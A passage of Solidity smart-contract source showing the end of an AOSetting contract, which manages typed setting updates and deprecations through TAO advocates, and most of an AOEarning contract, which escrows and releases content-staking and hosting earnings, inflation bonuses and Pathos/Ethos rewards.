_updateSignature A signature of the proposalTAOId and update value by associatedTAOId's advocate's name address * @param _extraData Catch-all string value to be stored if exist */ function updateUintSetting(uint256 _settingId, uint256 _newValue, address _proposalTAOId, string _updateSignature, string _extraData) public isTAO(_proposalTAOId) { // Store the setting state data require (_aoSettingAttribute.update(_settingId, 1, _nameFactory.ethAddressToNameId(msg.sender), _proposalTAOId, _updateSignature, _extraData)); // Store the value as pending value _aoUintSetting.setPendingValue(_settingId, _newValue); // Store the update hash key lookup updateHashLookup[keccak256(abi.encodePacked(this, _proposalTAOId, _aoUintSetting.settingValue(_settingId), _newValue, _extraData, _settingId))] = _settingId; emit SettingUpdate(_settingId, _nameFactory.ethAddressToNameId(msg.sender), _proposalTAOId); } /** * @dev Advocate of Setting's _associatedTAOId submits a bool setting update after an update has been proposed * @param _settingId The ID of the setting to be updated * @param _newValue The new bool value for this setting * @param _proposalTAOId The child of the associatedTAOId with the update Logos * @param _updateSignature A signature of the proposalTAOId and update value by associatedTAOId's advocate's name address * @param _extraData Catch-all string value to be stored if exist */ function updateBoolSetting(uint256 _settingId, bool _newValue, address _proposalTAOId, string _updateSignature, string _extraData) public isTAO(_proposalTAOId) { // Store the setting state data require (_aoSettingAttribute.update(_settingId, 2, _nameFactory.ethAddressToNameId(msg.sender), _proposalTAOId, _updateSignature, _extraData)); // Store the value as pending value _aoBoolSetting.setPendingValue(_settingId, _newValue); // Store the update hash key lookup updateHashLookup[keccak256(abi.encodePacked(this, _proposalTAOId, _aoBoolSetting.settingValue(_settingId), _newValue, _extraData, _settingId))] = _settingId; emit SettingUpdate(_settingId, _nameFactory.ethAddressToNameId(msg.sender), _proposalTAOId); } /** * @dev Advocate of Setting's _associatedTAOId submits an address setting update after an update has been proposed * @param _settingId The ID of the setting to be updated * @param _newValue The new address value for this setting * @param _proposalTAOId The child of the associatedTAOId with the update Logos * @param _updateSignature A signature of the proposalTAOId and update value by associatedTAOId's advocate's name address * @param _extraData Catch-all string value to be stored if exist */ function updateAddressSetting(uint256 _settingId, address _newValue, address _proposalTAOId, string _updateSignature, string _extraData) public isTAO(_proposalTAOId) { // Store the setting state data require (_aoSettingAttribute.update(_settingId, 3, _nameFactory.ethAddressToNameId(msg.sender), _proposalTAOId, _updateSignature, _extraData)); // Store the value as pending value _aoAddressSetting.setPendingValue(_settingId, _newValue); // Store the update hash key lookup updateHashLookup[keccak256(abi.encodePacked(this, _proposalTAOId, _aoAddressSetting.settingValue(_settingId), _newValue, _extraData, _settingId))] = _settingId; emit SettingUpdate(_settingId, _nameFactory.ethAddressToNameId(msg.sender), _proposalTAOId); } /** * @dev Advocate of Setting's _associatedTAOId submits a bytes32 setting update after an update has been proposed * @param _settingId The ID of the setting to be updated * @param _newValue The new bytes32 value for this setting * @param _proposalTAOId The child of the associatedTAOId with the update Logos * @param _updateSignature A signature of the proposalTAOId and update value by associatedTAOId's advocate's name address * @param _extraData Catch-all string value to be stored if exist */ function updateBytesSetting(uint256 _settingId, bytes32 _newValue, address _proposalTAOId, string _updateSignature, string _extraData) public isTAO(_proposalTAOId) { // Store the setting state data require (_aoSettingAttribute.update(_settingId, 4, _nameFactory.ethAddressToNameId(msg.sender), _proposalTAOId, _updateSignature, _extraData)); // Store the value as pending value _aoBytesSetting.setPendingValue(_settingId, _newValue); // Store the update hash key lookup updateHashLookup[keccak256(abi.encodePacked(this, _proposalTAOId, _aoBytesSetting.settingValue(_settingId), _newValue, _extraData, _settingId))] = _settingId; emit SettingUpdate(_settingId, _nameFactory.ethAddressToNameId(msg.sender), _proposalTAOId); } /** * @dev Advocate of Setting's _associatedTAOId submits a string setting update after an update has been proposed * @param _settingId The ID of the setting to be updated * @param _newValue The new string value for this setting * @param _proposalTAOId The child of the associatedTAOId with the update Logos * @param _updateSignature A signature of the proposalTAOId and update value by associatedTAOId's advocate's name address * @param _extraData Catch-all string value to be stored if exist */ function updateStringSetting(uint256 _settingId, string _newValue, address _proposalTAOId, string _updateSignature, string _extraData) public isTAO(_proposalTAOId) { // Store the setting state data require (_aoSettingAttribute.update(_settingId, 5, _nameFactory.ethAddressToNameId(msg.sender), _proposalTAOId, _updateSignature, _extraData)); // Store the value as pending value _aoStringSetting.setPendingValue(_settingId, _newValue); // Store the update hash key lookup updateHashLookup[keccak256(abi.encodePacked(this, _proposalTAOId, _aoStringSetting.settingValue(_settingId), _newValue, _extraData, _settingId))] = _settingId; emit SettingUpdate(_settingId, _nameFactory.ethAddressToNameId(msg.sender), _proposalTAOId); } /** * @dev Advocate of Setting's proposalTAOId approves the setting update * @param _settingId The ID of the setting to be approved * @param _approved Whether to approve or reject */ function approveSettingUpdate(uint256 _settingId, bool _approved) public { address _proposalTAOAdvocate = _nameFactory.ethAddressToNameId(msg.sender); (,,, address _proposalTAOId,,,) = _aoSettingAttribute.getSettingState(_settingId); require (_aoSettingAttribute.approveUpdate(_settingId, _proposalTAOAdvocate, _approved)); emit ApproveSettingUpdate(_settingId, _proposalTAOId, _proposalTAOAdvocate, _approved); } /** * @dev Advocate of Setting's _associatedTAOId finalizes the setting update once the setting is approved * @param _settingId The ID of the setting to be finalized */ function finalizeSettingUpdate(uint256 _settingId) public { address _associatedTAOAdvocate = _nameFactory.ethAddressToNameId(msg.sender); require (_aoSettingAttribute.finalizeUpdate(_settingId, _associatedTAOAdvocate)); (,,, address _associatedTAOId,, uint8 _settingType,,,,) = _aoSettingAttribute.getSettingData(_settingId); _movePendingToSetting(_settingId, _settingType); emit FinalizeSettingUpdate(_settingId, _associatedTAOId, _associatedTAOAdvocate); } /** * @dev Advocate of _creatorTAOId adds a setting deprecation * @param _settingId The ID of the setting to be deprecated * @param _newSettingId The new setting ID to route * @param _newSettingContractAddress The new setting contract address to route * @param _creatorTAOId The taoId that created the setting * @param _associatedTAOId The taoId that the setting affects */ function addSettingDeprecation(uint256 _settingId, uint256 _newSettingId, address _newSettingContractAddress, address _creatorTAOId, address _associatedTAOId) public isTAO(_creatorTAOId) isTAO(_associatedTAOId) onlyAdvocate(_creatorTAOId) { (bytes32 _associatedTAOSettingDeprecationId, bytes32 _creatorTAOSettingDeprecationId) = _aoSettingAttribute.addDeprecation(_settingId, _nameFactory.ethAddressToNameId(msg.sender), _creatorTAOId, _associatedTAOId, _newSettingId, _newSettingContractAddress); emit SettingDeprecation(_settingId, _nameFactory.ethAddressToNameId(msg.sender), _creatorTAOId, _associatedTAOId, _newSettingId, _newSettingContractAddress, _associatedTAOSettingDeprecationId, _creatorTAOSettingDeprecationId); } /** * @dev Advocate of SettingDeprecation's _associatedTAOId approves setting deprecation * @param _settingId The ID of the setting to approve * @param _approved Whether to approve or reject */ function approveSettingDeprecation(uint256 _settingId, bool _approved) public { address _associatedTAOAdvocate = _nameFactory.ethAddressToNameId(msg.sender); require (_aoSettingAttribute.approveDeprecation(_settingId, _associatedTAOAdvocate, _approved)); (,,, address _associatedTAOId,,,,,,,,) = _aoSettingAttribute.getSettingDeprecation(_settingId); emit ApproveSettingDeprecation(_settingId, _associatedTAOId, _associatedTAOAdvocate, _approved); } /** * @dev Advocate of SettingDeprecation's _creatorTAOId finalizes the setting deprecation once the setting deprecation is approved * @param _settingId The ID of the setting to be finalized */ function finalizeSettingDeprecation(uint256 _settingId) public { address _creatorTAOAdvocate = _nameFactory.ethAddressToNameId(msg.sender); require (_aoSettingAttribute.finalizeDeprecation(_settingId, _creatorTAOAdvocate)); (,, address _creatorTAOId,,,,,,,,,) = _aoSettingAttribute.getSettingDeprecation(_settingId); emit FinalizeSettingDeprecation(_settingId, _creatorTAOId, _creatorTAOAdvocate); } /** * @dev Get setting Id given an associatedTAOId and settingName * @param _associatedTAOId The ID of the AssociatedTAO * @param _settingName The name of the setting * @return the ID of the setting */ function getSettingIdByTAOName(address _associatedTAOId, string _settingName) public view returns (uint256) { return nameSettingLookup[_associatedTAOId][keccak256(abi.encodePacked(this, _settingName))]; } /** * @dev Get setting values by setting ID. * Will throw error if the setting is not exist or rejected. * @param _settingId The ID of the setting * @return the uint256 value of this setting ID * @return the bool value of this setting ID * @return the address value of this setting ID * @return the bytes32 value of this setting ID * @return the string value of this setting ID */ function getSettingValuesById(uint256 _settingId) public view returns (uint256, bool, address, bytes32, string) { require (_aoSettingAttribute.settingExist(_settingId)); _settingId = _aoSettingAttribute.getLatestSettingId(_settingId); return ( _aoUintSetting.settingValue(_settingId), _aoBoolSetting.settingValue(_settingId), _aoAddressSetting.settingValue(_settingId), _aoBytesSetting.settingValue(_settingId), _aoStringSetting.settingValue(_settingId) ); } /** * @dev Get setting values by taoId and settingName. * Will throw error if the setting is not exist or rejected. * @param _taoId The ID of the TAO * @param _settingName The name of the setting * @return the uint256 value of this setting ID * @return the bool value of this setting ID * @return the address value of this setting ID * @return the bytes32 value of this setting ID * @return the string value of this setting ID */ function getSettingValuesByTAOName(address _taoId, string _settingName) public view returns (uint256, bool, address, bytes32, string) { return getSettingValuesById(getSettingIdByTAOName(_taoId, _settingName)); } /***** Internal Method *****/ /** * @dev Store setting creation data * @param _creatorNameId The nameId that created the setting * @param _settingType The type of this setting. 1 => uint256, 2 => bool, 3 => address, 4 => bytes32, 5 => string * @param _settingName The human-readable name of the setting * @param _creatorTAOId The taoId that created the setting * @param _associatedTAOId The taoId that the setting affects * @param _extraData Catch-all string value to be stored if exist */ function _storeSettingCreation(address _creatorNameId, uint8 _settingType, string _settingName, address _creatorTAOId, address _associatedTAOId, string _extraData) internal { // Make sure _settingType is in supported list require (_settingType >= 1 && _settingType <= 5); // Store nameSettingLookup nameSettingLookup[_associatedTAOId][keccak256(abi.encodePacked(this, _settingName))] = totalSetting; // Store setting data/state (bytes32 _associatedTAOSettingId, bytes32 _creatorTAOSettingId) = _aoSettingAttribute.add(totalSetting, _creatorNameId, _settingType, _settingName, _creatorTAOId, _associatedTAOId, _extraData); emit SettingCreation(totalSetting, _creatorNameId, _creatorTAOId, _associatedTAOId, _settingName, _settingType, _associatedTAOSettingId, _creatorTAOSettingId); } /** * @dev Move value of _settingId from pending variable to setting variable * @param _settingId The ID of the setting * @param _settingType The type of the setting */ function _movePendingToSetting(uint256 _settingId, uint8 _settingType) internal { // If settingType == uint256 if (_settingType == 1) { _aoUintSetting.movePendingToSetting(_settingId); } else if (_settingType == 2) { // Else if settingType == bool _aoBoolSetting.movePendingToSetting(_settingId); } else if (_settingType == 3) { // Else if settingType == address _aoAddressSetting.movePendingToSetting(_settingId); } else if (_settingType == 4) { // Else if settingType == bytes32 _aoBytesSetting.movePendingToSetting(_settingId); } else { // Else if settingType == string _aoStringSetting.movePendingToSetting(_settingId); } } } /** * @title AOEarning * * This contract stores the earning from staking/hosting content on AO */ contract AOEarning is TheAO { using SafeMath for uint256; address public settingTAOId; address public aoSettingAddress; address public baseDenominationAddress; address public treasuryAddress; address public nameFactoryAddress; address public pathosAddress; address public ethosAddress; bool public paused; bool public killed; AOToken internal _baseAO; AOTreasury internal _treasury; NameFactory internal _nameFactory; Pathos internal _pathos; Ethos internal _ethos; AOSetting internal _aoSetting; // Total earning from staking content from all nodes uint256 public totalStakeContentEarning; // Total earning from hosting content from all nodes uint256 public totalHostContentEarning; // Total The AO earning uint256 public totalTheAOEarning; // Mapping from address to his/her earning from content that he/she staked mapping (address => uint256) public stakeContentEarning; // Mapping from address to his/her earning from content that he/she hosted mapping (address => uint256) public hostContentEarning; // Mapping from address to his/her network price earning // i.e, when staked amount = filesize mapping (address => uint256) public networkPriceEarning; // Mapping from address to his/her content price earning // i.e, when staked amount > filesize mapping (address => uint256) public contentPriceEarning; // Mapping from address to his/her inflation bonus mapping (address => uint256) public inflationBonusAccrued; struct Earning { bytes32 purchaseId; uint256 paymentEarning; uint256 inflationBonus; uint256 pathosAmount; uint256 ethosAmount; } // Mapping from address to earning from staking content of a purchase ID mapping (address => mapping(bytes32 => Earning)) public stakeEarnings; // Mapping from address to earning from hosting content of a purchase ID mapping (address => mapping(bytes32 => Earning)) public hostEarnings; // Mapping from purchase ID to earning for The AO mapping (bytes32 => Earning) public theAOEarnings; // Mapping from stake ID to it's total earning from staking mapping (bytes32 => uint256) public totalStakedContentStakeEarning; // Mapping from stake ID to it's total earning from hosting mapping (bytes32 => uint256) public totalStakedContentHostEarning; // Mapping from stake ID to it's total earning earned by The AO mapping (bytes32 => uint256) public totalStakedContentTheAOEarning; // Mapping from content host ID to it's total earning mapping (bytes32 => uint256) public totalHostContentEarningById; // Event to be broadcasted to public when content creator/host earns the payment split in escrow when request node buys the content // recipientType: // 0 => Content Creator (Stake Owner) // 1 => Node Host // 2 => The AO event PaymentEarningEscrowed(address indexed recipient, bytes32 indexed purchaseId, uint256 totalPaymentAmount, uint256 recipientProfitPercentage, uint256 recipientPaymentEarning, uint8 recipientType); // Event to be broadcasted to public when content creator/host/The AO earns inflation bonus in escrow when request node buys the content // recipientType: // 0 => Content Creator (Stake Owner) // 1 => Node Host // 2 => The AO event InflationBonusEscrowed(address indexed recipient, bytes32 indexed purchaseId, uint256 totalInflationBonusAmount, uint256 recipientProfitPercentage, uint256 recipientInflationBonus, uint8 recipientType); // Event to be broadcasted to public when content creator/host/The AO earning is released from escrow // recipientType: // 0 => Content Creator (Stake Owner) // 1 => Node Host // 2 => The AO event EarningUnescrowed(address indexed recipient, bytes32 indexed purchaseId, uint256 paymentEarning, uint256 inflationBonus, uint8 recipientType); // Event to be broadcasted to public when content creator's Name earns Pathos when a node buys a content event PathosEarned(address indexed nameId, bytes32 indexed purchaseId, uint256 amount); // Event to be broadcasted to public when host's Name earns Ethos when a node buys a content event EthosEarned(address indexed nameId, bytes32 indexed purchaseId, uint256 amount); // Event to be broadcasted to public when emergency mode is triggered event EscapeHatch(); /** * @dev Constructor function * @param _settingTAOId The TAO ID that controls the setting * @param _aoSettingAddress The address of AOSetting * @param _baseDenominationAddress The address of AO base token * @param _treasuryAddress The address of AOTreasury * @param _nameFactoryAddress The address of NameFactory * @param _pathosAddress The address of Pathos * @param _ethosAddress The address of Ethos */ constructor(address _settingTAOId, address _aoSettingAddress, address _baseDenominationAddress, address _treasuryAddress, address _nameFactoryAddress, address _pathosAddress, address _ethosAddress) public { settingTAOId = _settingTAOId; aoSettingAddress = _aoSettingAddress; baseDenominationAddress = _baseDenominationAddress; treasuryAddress = _treasuryAddress; pathosAddress = _pathosAddress; ethosAddress = _ethosAddress; _aoSetting = AOSetting(_aoSettingAddress); _baseAO = AOToken(_baseDenominationAddress); _treasury = AOTreasury(_treasuryAddress); _nameFactory = NameFactory(_nameFactoryAddress); _pathos = Pathos(_pathosAddress); _ethos = Ethos(_ethosAddress); } /** * @dev Checks if the calling contract address is The AO * OR * If The AO is set to a Name/TAO, then check if calling address is the Advocate */ modifier onlyTheAO { require (AOLibrary.isTheAO(msg.sender, theAO, nameTAOPositionAddress)); _; } /** * @dev Checks if contract is currently active */ modifier isContractActive { require (paused == false && killed == false); _; } /***** The AO ONLY METHODS *****/ /** * @dev The AO set the NameTAOPosition Address * @param _nameTAOPositionAddress The address of NameTAOPosition */ function setNameTAOPositionAddress(address _nameTAOPositionAddress) public onlyTheAO { require (_nameTAOPositionAddress != address(0)); nameTAOPositionAddress = _nameTAOPositionAddress; } /** * @dev Transfer ownership of The AO to new address * @param _theAO The new address to be transferred */ function transferOwnership(address _theAO) public onlyTheAO { require (_theAO != address(0)); theAO = _theAO; } /** * @dev Whitelist `_account` address to transact on behalf of others * @param _account The address to whitelist * @param _whitelist Either to whitelist or not */ function setWhitelist(address _account, bool _whitelist) public onlyTheAO { require (_account != address(0)); whitelist[_account] = _whitelist; } /** * @dev The AO pauses/unpauses contract * @param _paused Either to pause contract or not */ function setPaused(bool _paused) public onlyTheAO { paused = _paused; } /** * @dev The AO triggers emergency mode. * */ function escapeHatch() public onlyTheAO { require (killed == false); killed = true; emit EscapeHatch(); } /** * @dev The AO updates base denomination address * @param _newBaseDenominationAddress The new address */ function setBaseDenominationAddress(address _newBaseDenominationAddress) public onlyTheAO { require (AOToken(_newBaseDenominationAddress).powerOfTen() == 0); baseDenominationAddress = _newBaseDenominationAddress; _baseAO = AOToken(baseDenominationAddress); } /***** PUBLIC METHODS *****/ /** * @dev Calculate the content creator/host/The AO earning when request node buys the content. * Also at this stage, all of the earnings are stored in escrow * @param _buyer The request node address that buys the content * @param _purchaseId The ID of the purchase receipt object * @param _networkAmountStaked The amount of network tokens at stake * @param _primordialAmountStaked The amount of primordial tokens at stake * @param _primordialWeightedMultiplierStaked The weighted multiplier of primordial tokens at stake * @param _profitPercentage The content creator's profit percentage * @param _stakeOwner The address of the stake owner * @param _host The address of the host * @param _isAOContentUsageType whether or not the content is of AO Content Usage Type */ function calculateEarning( address _buyer, bytes32 _purchaseId, uint256 _networkAmountStaked, uint256 _primordialAmountStaked, uint256 _primordialWeightedMultiplierStaked, uint256 _profitPercentage, address _stakeOwner, address _host, bool _isAOContentUsageType ) public isContractActive inWhitelist returns (bool) { // Split the payment earning between content creator and host and store them in escrow _escrowPaymentEarning(_buyer, _purchaseId, _networkAmountStaked.add(_primordialAmountStaked), _profitPercentage, _stakeOwner, _host, _isAOContentUsageType); // Calculate the inflation bonus earning for content creator/node/The AO in escrow _escrowInflationBonus(_purchaseId, _calculateInflationBonus(_networkAmountStaked, _primordialAmountStaked, _primordialWeightedMultiplierStaked), _profitPercentage, _stakeOwner, _host, _isAOContentUsageType); return true; } /** * @dev Release the payment earning and inflation bonus that is in escrow for specific purchase ID * @param _stakeId The ID of the staked content * @param _contentHostId The ID of the hosted content * @param _purchaseId The purchase receipt ID to check * @param _buyerPaidMoreThanFileSize Whether or not the request node paid more than filesize when buying the content * @param _stakeOwner The address of the stake owner * @param _host The address of the node that host the file * @return true on success */ function releaseEarning(bytes32 _stakeId, bytes32 _contentHostId, bytes32 _purchaseId, bool _buyerPaidMoreThanFileSize, address _stakeOwner, address _host) public isContractActive inWhitelist returns (bool) { // Release the earning in escrow for stake owner _releaseEarning(_stakeId, _contentHostId, _purchaseId, _buyerPaidMoreThanFileSize, _stakeOwner, 0); // Release the earning in escrow for host _releaseEarning(_stakeId, _contentHostId, _purchaseId, _buyerPaidMoreThanFileSize, _host, 1); // Release the earning in escrow for The AO _releaseEarning(_stakeId, _contentHostId, _purchaseId, _buyerPaidMoreThanFileSize, theAO, 2); return true; } /***** INTERNAL METHODS *****/ /** * @dev Calculate the payment split for content creator/host and store them in escrow * @param _buyer the request node address that buys the content * @param _purchaseId The ID of the purchase receipt object * @param _totalStaked The total staked amount of the content * @param _profitPercentage The content creator's profit percentage * @param _stakeOwner The address of the stake owner * @param _host The address of the host * @param _isAOContentUsageType whether or not the content is of AO Content Usage Type */ function _escrowPaymentEarning(address _buyer, bytes32 _purchaseId, uint256 _totalStaked, uint256 _profitPercentage, address _stakeOwner, address _host, bool _isAOContentUsageType) internal { (uint256 _stakeOwnerEarning, uint256 _pathosAmount) = _escrowStakeOwnerPaymentEarning(_buyer, _purchaseId, _totalStaked, _profitPercentage, _stakeOwner, _isAOContentUsageType); (uint256 _ethosAmount) = _escrowHostPaymentEarning(_buyer, _purchaseId, _totalStaked, _profitPercentage, _host, _isAOContentUsageType, _stakeOwnerEarning); _escrowTheAOPaymentEarning(_purchaseId, _totalStaked, _pathosAmount, _ethosAmount); } /** * @dev Calculate the inflation bonus amount * @param _networkAmountStaked The amount of network tokens at stake * @param _primordialAmountStaked The amount of primordial tokens at stake * @param _primordialWeightedMultiplierStaked The weighted multiplier of primordial tokens at stake * @return the bonus network amount */ function _calculateInflationBonus(uint256 _networkAmountStaked, uint256 _primordialAmountStaked, uint256 _primordialWeightedMultiplierStaked) internal view returns (uint256) { (uint256 inflationRate,,) = _getSettingVariables(); uint256 _networkBonus = _networkAmountStaked.mul(inflationRate).div(AOLibrary.PERCENTAGE_DIVISOR()); uint256 _primordialBonus = _primordialAmountStaked.mul(_primordialWeightedMultiplierStaked).div(AOLibrary.MULTIPLIER_DIVISOR()).mul(inflationRate).div(AOLibrary.PERCENTAGE_DIVISOR()); return _networkBonus.add(_primordialBonus); } /** * @dev Mint the inflation bonus for content creator/host/The AO and store them in escrow * @param _purchaseId The ID of the purchase receipt object * @param _inflationBonusAmount The amount of inflation bonus earning * @param _profitPercentage The content creator's profit percentage * @param _stakeOwner The address of the stake owner * @param _host The address of the host * @param _isAOContentUsageType whether or not the content is of AO Content Usage Type */ function _escrowInflationBonus( bytes32 _purchaseId, uint256 _inflationBonusAmount, uint256 _profitPercentage, address _stakeOwner, address _host, bool _isAOContentUsageType ) internal { (, uint256 theAOCut,) = _getSettingVariables(); if (_inflationBonusAmount > 0) { // Store how much the content creator earns in escrow uint256 _stakeOwnerInflationBonus = _isAOContentUsageType ? (_inflationBonusAmount.mul(_profitPercentage)).div(AOLibrary.PERCENTAGE_DIVISOR()) : 0; Earning storage _stakeEarning = stakeEarnings[_stakeOwner][_purchaseId]; _stakeEarning.inflationBonus = _stakeOwnerInflationBonus; require (_baseAO.mintTokenEscrow(_stakeOwner, _stakeEarning.inflationBonus)); emit InflationBonusEscrowed(_stakeOwner, _purchaseId, _inflationBonusAmount, _profitPercentage, _stakeEarning.inflationBonus, 0); // Store how much the host earns in escrow Earning storage _hostEarning = hostEarnings[_host][_purchaseId]; _hostEarning.inflationBonus = _inflationBonusAmount.sub(_stakeOwnerInflationBonus); require (_baseAO.mintTokenEscrow(_host, _hostEarning.inflationBonus)); emit InflationBonusEscrowed(_host, _purchaseId, _inflationBonusAmount, AOLibrary.PERCENTAGE_DIVISOR().sub(_profitPercentage), _hostEarning.inflationBonus, 1); // Store how much the The AO earns in escrow Earning storage _theAOEarning = theAOEarnings[_purchaseId]; _theAOEarning.inflationBonus = (_inflationBonusAmount.mul(theAOCut)).div(AOLibrary.PERCENTAGE_DIVISOR()); require (_baseAO.mintTokenEscrow(theAO, _theAOEarning.inflationBonus)); emit InflationBonusEscrowed(theAO, _purchaseId, _inflationBonusAmount, theAOCut, _theAOEarning.inflationBonus, 2); } else { emit InflationBonusEscrowed(_stakeOwner, _purchaseId, 0, _profitPercentage, 0, 0); emit InflationBonusEscrowed(_host, _purchaseId, 0, AOLibrary.PERCENTAGE_DIVISOR().sub(_profitPercentage), 0, 1); emit InflationBonusEscrowed(theAO, _purchaseId, 0, theAOCut, 0, 2); } } /** * @dev Release the escrowed earning for a specific purchase ID for an account * @param _stakeId The ID of the staked content * @param _contentHostId The ID of the hosted content * @param _purchaseId The purchase receipt ID * @param _buyerPaidMoreThanFileSize Whether or not the request node paid more than filesize when buying the content * @param _account The address of account that made the earning (content creator/host) * @param _recipientType The type of the earning recipient (0 => content creator. 1 => host. 2 => theAO) */ function _releaseEarning(bytes32 _stakeId, bytes32 _contentHostId, bytes32 _purchaseId, bool _buyerPaidMoreThanFileSize, address _account, uint8 _recipientType) internal { // Make sure the recipient type is valid require (_recipientType >= 0 && _recipientType <= 2); uint256 _paymentEarning; uint256 _inflationBonus; uint256 _totalEarning; uint256 _pathosAmount; uint256 _ethosAmount; if (_recipientType == 0) { Earning storage _earning = stakeEarnings[_account][_purchaseId]; _paymentEarning = _earning.paymentEarning; _inflationBonus = _earning.inflationBonus; _pathosAmount = _earning.pathosAmount; _earning.paymentEarning = 0; _earning.inflationBonus = 0; _earning.pathosAmount = 0; _earning.ethosAmount = 0; _totalEarning = _paymentEarning.add(_inflationBonus); // Update the global var settings totalStakeContentEarning = totalStakeContentEarning.add(_totalEarning); stakeContentEarning[_account] = stakeContentEarning[_account].add(_totalEarning); totalStakedContentStakeEarning[_stakeId] = totalStakedContentStakeEarning[_stakeId].add(_totalEarning); if (_buyerPaidMoreThanFileSize) { contentPriceEarning[_account] = contentPriceEarning[_account].add(_totalEarning); } else { networkPriceEarning[_account] = networkPriceEarning[_account].add(_totalEarning); } inflationBonusAccrued[_account] = inflationBonusAccrued[_account].add(_inflationBonus); // Reward the content creator/stake owner with some Pathos require (_pathos.mintToken(_nameFactory.ethAddressToNameId(_account), _pathosAmount)); emit PathosEarned(_nameFactory.ethAddressToNameId(_account), _purchaseId, _pathosAmount); } else if (_recipientType == 1) { _earning = hostEarnings[_account][_purchaseId]; _paymentEarning = _earning.paymentEarning; _inflationBonus = _earning.inflationBonus; _ethosAmount = _earning.ethosAmount; _earning.paymentEarning = 0; _earning.inflationBonus = 0; _earning.pathosAmount = 0; _earning.ethosAmount = 0; _totalEarning = _paymentEarning.add(_inflationBonus); // Update the global var settings totalHostContentEarning = totalHostContentEarning.add(_totalEarning); hostContentEarning[_account] = hostContentEarning[_account].add(_totalEarning); totalStakedContentHostEarning[_stakeId] = totalStakedContentHostEarning[_stakeId].add(_totalEarning); totalHostContentEarningById[_contentHostId] = totalHostContentEarningById[_contentHostId].add(_totalEarning); if (_buyerPaidMoreThanFileSize) { contentPriceEarning[_account] = contentPriceEarning[_account].add(_totalEarning); } else { networkPriceEarning[_account] = networkPriceEarning[_account].add(_totalEarning); } inflationBonusAccrued[_account] = inflationBonusAccrued[_account].add(_inflationBonus); // Reward the host node with some Ethos require (_ethos.mintToken(_nameFactory.ethAddressToNameId(_account), _ethosAmount)); emit EthosEarned(_nameFactory.ethAddressToNameId(_account), _purchaseId, _ethosAmount); } else { _earning = theAOEarnings[_purchaseId]; _paymentEarning = _earning.paymentEarning; _inflationBonus = _earning.inflationBonus; _earning.paymentEarning = 0; _earning.inflationBonus = 0; _earning.pathosAmount = 0; _earning.ethosAmount = 0; _totalEarning = _paymentEarning.add(_inflationBonus); // Update the global var settings totalTheAOEarning = totalTheAOEarning.add(_totalEarning); inflationBonusAccrued[_account] = inflationBonusAccrued[_account].add(_inflationBonus); totalStakedContentTheAOEarning[_stakeId] = totalStakedContentTheAOEarning[_stakeId].add(_totalEarning); } require (_baseAO.unescrowFrom(_account, _totalEarning)); emit EarningUnescrowed(_account, _purchaseId, _paymentEarning, _inflationBonus, _recipientType); } /** * @dev Get setting variables * @return inflationRate The rate to use when calculating inflation bonus * @return theAOCut The rate to use when calculating the AO earning * @return theAOEthosEarnedRate The rate to use when calculating the Ethos to AO rate for the AO */ function _getSettingVariables() internal view returns (uint256, uint256, uint256) { (uint256 inflationRate,,,,) = _aoSetting.getSettingValuesByTAOName(settingTAOId, 'inflationRate'); (uint256 theAOCut,,,,) = _aoSetting.getSettingValuesByTAOName(settingTAOId, 'theAOCut'); (uint256 theAOEthosEarnedRate,,,,) = _aoSetting.getSettingValuesByTAOName(settingTAOId, 'theAOEthosEarnedRate'); return (inflationRate, theAOCut, theAOEthosEarnedRate); } /** * @dev Calculate the payment split for content creator and store them in escrow * @param _buyer the request node address that buys the content * @param _purchaseId The ID of the purchase receipt object * @param _totalStaked The total staked amount of the content * @param _profitPercentage The content creator's profit percentage * @param _stakeOwner The address of the stake owner * @param _isAOContentUsageType whether or not the content is of AO Content Usage Type * @return The stake owner's earning amount * @return The pathos earned from this transaction */ function _escrowStakeOwnerPaymentEarning(address _buyer, bytes32 _purchaseId, uint256 _totalStaked, uint256 _profitPercentage, address _stakeOwner, bool _isAOContentUsageType) internal returns (uint256, uint256) { (uint256 inflationRate,,) = _getSettingVariables(); Earning storage _stakeEarning = stakeEarnings[_stakeOwner][_purchaseId]; _stakeEarning.purchaseId = _purchaseId; // Store how much the content creator (stake owner) earns in escrow // If content is AO Content Usage Type, stake owner earns 0% // and all profit goes to the serving host node _stakeEarning.paymentEarning = _isAOContentUsageType ? (_totalStaked.mul(_profitPercentage)).div(AOLibrary.PERCENTAGE_DIVISOR()) : 0; // Pathos = Price X Node Share X Inflation Rate _stakeEarning.pathosAmount = _totalStaked.mul(AOLibrary.PERCENTAGE_DIVISOR().sub(_profitPercentage)).mul(inflationRate).div(AOLibrary.PERCENTAGE_DIVISOR()).div(AOLibrary.PERCENTAGE_DIVISOR()); require (_baseAO.escrowFrom(_buyer, _stakeOwner, _stakeEarning.paymentEarning)); emit PaymentEarningEscrowed(_stakeOwner, _purchaseId, _totalStaked, _profitPercentage, _stakeEarning.paymentEarning, 0); return (_stakeEarning.paymentEarning, _stakeEarning.pathosAmount); } /** * @dev Calculate the payment split for host node and store them in escrow * @param _buyer the request node address that buys the content * @param _purchaseId The ID of the purchase receipt object * @param _totalStaked The total staked amount of the content * @param _profitPercentage The content creator's profit percentage * @param _host The address of the host node * @param _isAOContentUsageType whether or not the content is of AO Content Usage Type * @param _stakeOwnerEarning The stake owner's earning amount * @return The ethos earned from this transaction */ function _escrowHostPaymentEarning(address _buyer, bytes32 _purchaseId, uint256 _totalStaked, uint256 _profitPercentage, address _host, bool _isAOContentUsageType, uint256 _stakeOwnerEarning) internal returns (uint256) { (uint256 inflationRate,,) = _getSettingVariables(); // Store how much the node host earns in escrow Earning storage _hostEarning = hostEarnings[_host][_purchaseId]; _hostEarning.purchaseId = _purchaseId; _hostEarning.paymentEarning = _totalStaked.sub(_stakeOwnerEarning); // Ethos = Price X Creator Share X Inflation Rate _hostEarning.ethosAmount = _totalStaked.mul(_profitPercentage).mul(inflationRate).div(AOLibrary.PERCENTAGE_DIVISOR()).div(AOLibrary.PERCENTAGE_DIVISOR()); if (_isAOContentUsageType) { require (_baseAO.escrowFrom(_buyer, _host, _hostEarning.paymentEarning)); } else { // If not AO Content usage type, we want to mint to the host require (_baseAO.mintTokenEscrow(_host, _hostEarning.paymentEarning)); } emit PaymentEarningEscrowed(_host, _purchaseId, _totalStaked, AOLibrary.PERCENTAGE_DIVISOR().sub(_profitPercentage), _hostEarning.paymentEarning, 1); return _hostEarning.ethosAmount; } /** * @dev Calculate the earning for The AO and store them in escrow * @param _purchaseId The ID of the purchase receipt object * @param _totalStaked The total staked amount of the content * @param _pathosAmount The amount of pathos earned by stake owner * @param _ethosAmount The amount of ethos earned by host node */ function _escrowTheAOPaymentEarning(bytes32 _purchaseId, uint256 _totalStaked, uint256 